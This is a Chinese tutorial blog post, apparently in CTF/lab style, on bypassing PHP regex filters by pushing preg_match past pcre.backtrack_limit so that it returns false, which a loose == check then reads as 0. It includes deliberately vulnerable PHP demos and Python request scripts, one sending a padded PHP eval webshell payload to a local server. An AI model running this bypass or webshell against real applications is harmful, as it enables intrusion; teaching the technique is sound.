当前位置:网站首页>利用正则表达式的回溯实现绕过
利用正则表达式的回溯实现绕过
2022-08-01 10:13:00 【miracle-boy】
目录
什么是正则回溯?
从问题的某一种状态(初始状态)出发,搜索从这种状态出发所能达到的所有“状态”,当一条路走到“尽头”的时候(不能再前进),再后退一步或若干步,从另一种可能“状态”出发,继续搜索,直到所有的“路径”(状态)都试探过。这种不断“前进”、不断“回溯”寻找解的方法,就称作“回溯法”。本质上就是深度优先搜索算法。其中退到之前的某一步这一过程,我们称为“回溯”。
为什么可以利用正则回溯进行绕过?
- 大量的回溯会长时间地占用CPU,从而带来系统性的开销。PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限,最大回溯次数默认为1000000次,如果超过一百万次preg_match函数返回的非 1 和 0,而是 false表示此次执行失败。
- 在PHP中 ‘==’ 是松散比较 ‘0’与’flase’ 是相等的:
- 使用两个等号 == 比较,只比较值,不比较类型。
- 严格比较:用三个等号 === 比较,除了比较值,也比较类型。
- == 在进行比较的时候,会先将字符串类型转化成相同,再比较
php正则回溯绕过案例一
php源码:
<?php
$input = $_POST['file'];
if(is_php($input)=='0') {
echo "flag{raoguo-cenggong}";
}else{
echo "bad requests";
}
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
python绕过源码
import requests
datas = {
'file' : "<?php eval($_POST['oupeng']); ?>"+'h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test1.php', data=datas)
print(res.text)
当回溯次数为999990次时的运行结果:
当回溯次数为1000000次时的运行结果:
php正则回溯绕过案例二
php源码:
<?php
function areyouok($greeting){
return preg_match('/Merry.*Christmas/is',$greeting);
}
[email protected]$_POST['greeting'];
if(!is_array($greeting)){
if(!areyouok($greeting)){
if(strpos($greeting,'Merry Christmas')!==false){
echo 'flag{cheng-gong}';
}else{
echo 'no have Merry Christmas';
}
}else{
echo 'Bypass the failure';
}
}
?>
python源码:
import requests
datas = {
'greeting': 'Merry Christmas'+'h'*100000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)
运行结果:
python测试:
没有 ‘Merry Christmas’ 前缀的运行结果
import requests
datas = {
'greeting': h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)
运行结果:
边栏推荐
- Node's traditional and advanced practices for formatting time (moment)
- 高级驾驶辅助系统ADAS简介
- SkiaSharp's WPF self-painted five-ring bouncing ball (case version)
- 7. SAP ABAP OData 服务如何支持 $orderby (排序)操作
- Pve delete virtual machine "for a collection"
- Comprehensive experiment BGP
- 世界第4疯狂的科学家,在103岁生日那天去世了
- C#/VB.NET 将PPT或PPTX转换为图像
- 从零开始Blazor Server(4)--登录系统
- STM32入门开发 介绍IIC总线、读写AT24C02(EEPROM)(采用模拟时序)
猜你喜欢
随机推荐
How I secured 70,000 ETH and won a 6 million bug bounty
Go-Excelize API source code reading (8) - GroupSheets(sheets []string), UngroupSheets()
How programmers learn open source projects, this article tells you
Golang内存分析工具gctrace和pprof实战
Message queue interview latest finishing (2022)
从零开始Blazor Server(4)--登录系统
基于CAP组件实现补偿事务与消息幂等性
周鸿祎称微软抄袭 360 安全模式后发文否认;英特尔CEO基辛格回应市值被AMD超越:股价下跌是咎由自取|极客头条
Basic configuration commands of cisco switches (what is the save command of Huawei switches)
AC与瘦AP的WLAN组网实验
CTFshow,命令执行:web34、35、36
Dataset之mpg:mpg数据集的简介、下载、使用方法之详细攻略
ASP.NET Core 6框架揭秘实例演示[30]:利用路由开发REST API
C语言程序设计50例(三)(经典收藏)
WPF 截图控件之绘制箭头(五)「仿微信」
ModelArts-based object detection YOLOv3 practice [play with HUAWEI CLOUD]
Introduction to ADAS
What is a stepper motor?40 pictures to show you!
【cartographer ros】十: 延时和误差分析
shell脚本------条件测试 if语句和case分支语句